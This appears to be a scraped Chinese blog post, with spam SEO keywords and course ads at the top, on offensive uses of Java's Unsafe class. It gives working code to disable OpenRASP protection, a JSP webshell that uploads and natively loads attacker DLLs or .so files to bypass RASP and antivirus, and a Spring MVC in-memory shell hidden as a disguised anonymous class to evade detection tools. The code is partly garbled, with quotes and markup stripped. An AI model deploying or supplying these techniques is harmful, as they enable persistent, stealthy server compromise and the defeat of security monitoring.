商城建站服务,什么是电子商务网站推广,seo是什么的,无锡怎么做网站推广Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475 目录* 0 前言
1 基本使用 1.1 内存级别修改值1.2 创建对象1.3 创建VM Anonymous Class 2 利用姿势 2.1 修改值以关闭RASP等…Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475 目录* 0 前言
1 基本使用 1.1 内存级别修改值1.2 创建对象1.3 创建VM Anonymous Class 2 利用姿势 2.1 修改值以关闭RASP等防御措施2.2 创建NativeLibrary对象实现webshell2.3 匿名的内存马2.4 shellcode和instrumentation对象构建 3 总结参考
0 前言
unsafe里面有很多好用的方法比如allocateInstance可以直接创建实例对象defineAnonymousClass可以创建一个VM匿名类(VM Anonymous Class)以及直接从内存级别修改对象的值。
1 基本使用
首先是获取Unsafe对象一般使用反射获取Unsafe否则会被Java安全机制拦截代码如下
public static Unsafe getUnsafe() throws Exception{Class aClass Class.forName(sun.misc.Unsafe);Constructor declaredConstructor aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe (Unsafe) declaredConstructor.newInstance();return unsafe;}
1.1 内存级别修改值
这里首先要提到的是在jvm中对实例的Field进行了有规律的存储具体可见JVM相关知识而通过一个偏移量可以从内存中找到相应的Field值。在Unsafe中获取偏移量的方法是staticFieldOffset(Field var1)和objectFieldOffset(Field var1)这两个方法输入一个Field对象后会返回该Field在其相应的类中的内存偏移量是多少。通过获得的偏移量可进一步调用putInt、putLong、putObject等方法对实例的field进行修改。
例如
package com.bitterz.unsafe;import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;public class UnsafeTest {private int a 1;private String string whoami;public UnsafeTest(){}public void test(){ }public static void main(String[] args) throws Exception {Unsafe unsafe getUnsafe();UnsafeTest unsafeTest new UnsafeTest();// 修改intField f Class.forName(com.bitterz.unsafe.UnsafeTest).getDeclaredField(a);long l unsafe.objectFieldOffset(f);unsafe.putInt(unsafeTest, l, 9999);System.out.println(unsafeTest.a);// 修改stringField f2 Class.forName(com.bitterz.unsafe.UnsafeTest).getDeclaredField(string);long l2 unsafe.objectFieldOffset(f2);unsafe.putObject(unsafeTest, l2, bitterz);System.out.println(unsafeTest.string);}public static Unsafe getUnsafe() throws Exception{Class aClass Class.forName(sun.misc.Unsafe);Constructor declaredConstructor aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe (Unsafe) declaredConstructor.newInstance();return unsafe;}
}
其输出结果为 但对final和static修饰的field这种修改方法无效。另外还可以通过偏移量使用getInt()、getObject()等方法获取实例的field值这种方法也可以作为反射被限制时的一种绕过。
1.2 创建对象
Unsafe中有个allocateInstance方法可以无视构造方法直接利用类对象构建实例这种方法往往能够减少反射创建实例时可能遇到的各种阻碍比如类的依赖关系。
比如前面创建Unsafe时使用了反射不能直接进行创建那么可以使用unsafe进行创建(只是为了演示。。) 1.3 创建VM Anonymous Class
VM Anonymous Class并不等同于匿名类这种类具有以下几个特点(摘自https://paper.seebug.org/1785)
1、class名可以是已存在的class的名字比如java.lang.File即使如此也不会发生任何问题java的动态编译特性将会在内存中生成名如 java.lang.File/1306360238ed5306的class。 ---将会使类名极具欺骗性
2、该class的classloader为null。 ---在java中classloader为null的为来自BootstrapClassLoader的class往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class多为lamada表达式生成这种class均不会落盘所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性
使用方法如下 defineAnonymousClass方法的第一个参数随便传入一个类对象即可第二个参数需要传入一个类的字节码这里使用javassist简单一点。第三个参数设置为null即可。
执行后得到一个类对象通过newInstance获取实例再调用了匿名类的toString方法弹个计算器。而后输出匿名类的类名和Unsafe的类名进行对比可见用defineAnonymousClass创建的类名后面会有/xxxxxxxx这里也算一个特征但通过Class.forName是无法获取到这个类的所以下面报错了。
用attach的方式看看对该类的检测之前写过rasp相关的笔记所以直接拿过来用 transform里面拿到到该类后直接报错了看了一下报错日志实际上就是在transform中返回字节码时出问题了因为前面也说了在部分jdk中VM AnonymousClass是不能被retransform的我这里用的是jdk1.8u40。但是直接结束程序有点不太好例如插入内存马后目标使用attach机制来扫描jvm中加载的类此时直接导致Web程序崩溃业务不得提刀来杀安全 这个点用于内存马可能要慎重一下。
2 利用姿势
2.1 修改值以关闭RASP等防御措施
前面提到了通过Unsafe可以直接修改值因此在遇到目标有RASP得情况下可以考虑修改RASP的开关 try {Class clazz Class.forName(com.baidu.openrasp.HookHandler);Unsafe unsafe getUnsafe();InputStream inputStream clazz.getResourceAsStream(clazz.getSimpleName() .class);byte[] data new byte[inputStream.available()];inputStream.read(data);Class anonymousClass unsafe.defineAnonymousClass(clazz, data, null);Field field anonymousClass.getDeclaredField(enableHook);unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));} catch (Exception e) {}
或者使用rebeyond师傅提到的方法手动构建insturmentation对象然后对执行命令的类去掉RASP插桩代码。
2.2 创建NativeLibrary对象实现webshell
这里的思路来自于SummerSec师傅的文章通过java.lang.ClassLoader$NativeLibrary#load(String, Boolean)方法加载一个dll文件而dll文件中可以实现各种攻击手段例如上传了一个jsp文件只用于加载dll而不同的dll实现了内网穿透、反弹Shell、木马和执行命令等功能攻击时上传对应dll文件即可。 借鉴https://github.com/SummerSec/Loader/blob/main/AddDllDemo.jsp 又稍微改了一下代码把上传文件和加载dll融合到了一个jsp里面
%page pageEncodingutf-8%
file idfielinput /
![]()txshow stylewidth:100px;height:100px;/
解析之后的base64数据
datautf-8http://127.0.0.1:8080/test/AddDllDemo.jsp methodPOSTtext stylewidth:1300px;height:100px;font-size:30px namep/submit value提交/text/javascript/spanspan classhljs-typevar/span span classhljs-variableinput/span span classhljs-operator/span document.getElementById(span classhljs-stringfielinput/span);
input.addEventListener(span classhljs-stringchange/span, readFile, span classhljs-literalfalse/span);
function span classhljs-title function\_readFile/spanspan classhljs-params()/span {span classhljs-typevar/span span classhljs-variablefile/span span classhljs-operator/span span classhljs-built\_inthis/span.files[span classhljs-number0/span];span classhljs-typevar/span span classhljs-variablereader/span span classhljs-operator/span span classhljs-keywordnew/span span classhljs-title class\_FileReader/span(); span classhljs-comment// 返回一个新的FileReader函数/spanreader.readAsDataURL(file);reader.onload function (e) {txshow.src span classhljs-built\_inthis/span.result;document.getElementById(span classhljs-stringdata/span).innerTextspan classhljs-built\_inthis/span.result.substring(span classhljs-built\_inthis/span.result.indexOf(span classhljs-string,/span)span classhljs-number1/span);}
}
%
if(request.getMethod().equals(GET)){}else{String p request.getParameter(p);String t request.getServletContext().getRealPath(/);java.io.PrintWriter outp response.getWriter();outp.println(WebRootPath:);outp.println(t);t request.getServletPath();outp.println(ServletPath:);outp.println(t);t (new java.io.File(.).getAbsolutePath());outp.println(WebServerPath:);outp.println(t);java.util.Random random new java.util.Random(System.currentTimeMillis());outp.println(if Dynamic Link Library will be auto load in uploading !!!);t System.getProperty(os.name).toLowerCase();if (t.contains(windows)) {t C:/Windows/temp/dm random.nextInt(10000000) 1.dll;}else {t /tmp/dm random.nextInt(10000000) 1.so;}if (p ! null) {try {java.io.FileOutputStream fos new java.io.FileOutputStream(new java.io.File(t));fos.write(D(p));fos.close();N(t);outp.println(Dynamic Link Library is uploaded, and the path is: t);outp.println(load uploaded success !!!);} catch (Exception e) {outp.println(e.getMessage());}}outp.flush();outp.close();
}%%!private void N(String t) throws Exception {Object o;Class a Class.forName(java.lang.ClassLoader$NativeLibrary);try {java.lang.reflect.Constructor c a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});c.setAccessible(true);o c.newInstance(Class.class,t,true);}catch (Exception e){Class u Class.forName(sun.misc.Unsafe);java.lang.reflect.Constructor c u.getDeclaredConstructor();c.setAccessible(true);sun.misc.Unsafe un (sun.misc.Unsafe)c.newInstance();o un.allocateInstance(a);}java.lang.reflect.Method method o.getClass().getDeclaredMethod(load, String.class, boolean.class);method.setAccessible(true);method.invoke(o, t, false);}private byte[] D(String p) throws Exception {try {Class clazz Class.forName(sun.misc.BASE64Decoder);return (byte[])(clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), p));} catch (Exception var5) {Class clazz Class.forName(java.util.Base64);Object decoder clazz.getMethod(getDecoder).invoke(null);return (byte[])(decoder.getClass().getMethod(decode, String.class).invoke(decoder, p));}}
%
浏览器访问AddDllDemo.jsp后选择dll文件并复制base64值到文本框中点击提交 成功弹出计算器 使用Unsafe去创建NativeLibrary的有点在于可以减少在java层面的调用直接一个load方法就能实现native层面的代码执行可以绕过RASP或终端软件对webshell的查杀以及java层面执行命令时被拦截的可能。
目前这种做法有个缺点在于DLL文件必须落地显然落地就有可能被文件监控察觉到。另外实现这种做法的还有ClassLoader#loadLibrary和ClassLoader#loadLibrary0利用反射即可实现不再赘述。期待大师傅们搞出无文件落地的姿势
2.3 匿名的内存马
前面提到了使用Unsafe.defineAnonymousClass方法可以创建一个VM Anonymous Class基于其各种特点可以让内存马隐藏的更深
在springmvc中插入servlet内存马时只需要传入方法名和恶意类的实例对象刚好适合这种Anonymous Classpom.xml设置如下
dependencygroupIdorg.springframeworkgroupIdartifactIdspring-webartifactIdversion4.2.6.RELEASEversion
dependency
dependencygroupIdorg.springframeworkgroupIdartifactIdspring-webmvcartifactIdversion4.2.6.RELEASEversion
dependency
dependencygroupIdorg.springframeworkgroupIdartifactIdspring-contextartifactIdversion4.2.6.RELEASEversion
dependency
dependencygroupIdorg.springframeworkgroupIdartifactIdspring-testartifactIdversion4.2.6.RELEASEversion
dependency
dependencygroupIdorg.springframeworkgroupIdartifactIdspring-jdbcartifactIdversion4.2.6.RELEASEversion
dependency
dependencygroupIdorg.javassistgroupIdartifactIdjavassistartifactIdversion3.19.0-GAversion
dependency
在spring_mvc中写个controller来注入示例代码如下
ResponseBody
RequestMapping(value /index, method RequestMethod.GET)
public String index(HttpServletRequest request, HttpServletResponse response) throws Exception {// 准备unsafe和匿名类Class aClass Class.forName(sun.misc.Unsafe);Constructor declaredConstructor aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe (Unsafe) declaredConstructor.newInstance();ClassPool classPool ClassPool.getDefault();CtClass ctClass classPool.makeClass(java.lang.String);CtMethod toString CtMethod.make(public String toString(){java.lang.Runtime.getRuntime().exec(\calc\);return null;}, ctClass);toString.setName(toString);ctClass.addMethod(toString);byte[] bytes ctClass.toBytecode();Class anonymousClass unsafe.defineAnonymousClass(File.class, bytes, null);// 插入内存马WebApplicationContext context (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(org.springframework.web.servlet.DispatcherServlet.CONTEXT, 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping context.getBean(RequestMappingHandlerMapping.class);AbstractHandlerMethodMapping abstractHandlerMethodMapping context.getBean(AbstractHandlerMethodMapping.class);Method method Class.forName(org.springframework.web.servlet.handler.AbstractHandlerMethodMapping).getDeclaredMethod(getMappingRegistry);method.setAccessible(true);Object mappingRegistry (Object) method.invoke(abstractHandlerMethodMapping);Field field Class.forName(org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry).getDeclaredField(urlLookup);field.setAccessible(true);Map urlLookup (Map) field.get(mappingRegistry);Iterator urlIterator urlLookup.keySet().iterator();String injectUrlPath /malicious; // 插入的urlwhile (urlIterator.hasNext()){String urlPath (String) urlIterator.next();if (injectUrlPath.equals(urlPath)){System.out.println(URL已存在);return exist;}}// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method2 anonymousClass.getDeclaredMethod(toString);// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url new PatternsRequestCondition(injectUrlPath);// 4. 定义允许访问 controller 的 HTTP 方法GET/POSTRequestMethodsRequestCondition ms new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info new RequestMappingInfo(url, ms, null, null, null, null, null);// InjectAnonymousClass InjectAnonymousClass new InjectAnonymousClass(aaa);Object o anonymousClass.newInstance();mappingHandlerMapping.registerMapping(info, o, method2);return injected!; // 这里根据注解会自动返回index.html
}
启动项目然后访问该controller对应的url结果如下 注入成功访问/malicious 由于恶意代码里面只写了弹计算器并没有写返回语句所以tomcat寻找malicious.jsp会返回404。调试模式下看一下对该url的描述 只有在beanType处显示类名为java.lang.String/179284069其它地方都显示为java.lang.String。匿名类的类名又可以随意设置所以稍加修饰即可以假乱真比如先拿到org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry遍历其中随便找一个controller的类名和方法名然后回显一下再给恶意类写个一样的package和方法名url则根据Web应用的规律自己编一个这样的话还是能够欺骗到根据package和方法名判断的检测方法另外VM Anonymous Class没办法获取到字节码所以也能逃过一劫。
2.4 shellcode和instrumentation对象构建
Unsafe类还能对内存进行操作在rebeyond师傅的文章-java内存攻击技术漫谈中有大量应用最终可以通过内存级别的操作直接构建instrumentation对象进而修改jvm中的java代码或者执行shellcode从而绕过RASP实现命令执行、文件读写等操作。
3 总结
Unsafe在java攻击层面属实非常有用而其正常使用也非常广泛例如gson反序列化时直接使用allocateInstance创建对象无视构造函数的复杂。Unsafe还有很多其它功能不够安全人员可能用的比较少我也借用一下这张传的最广泛的图 参考
https://paper.seebug.org/1785
https://tttang.com/archive/1436/
https://blog.csdn.net/rebeyond/p/15162264.html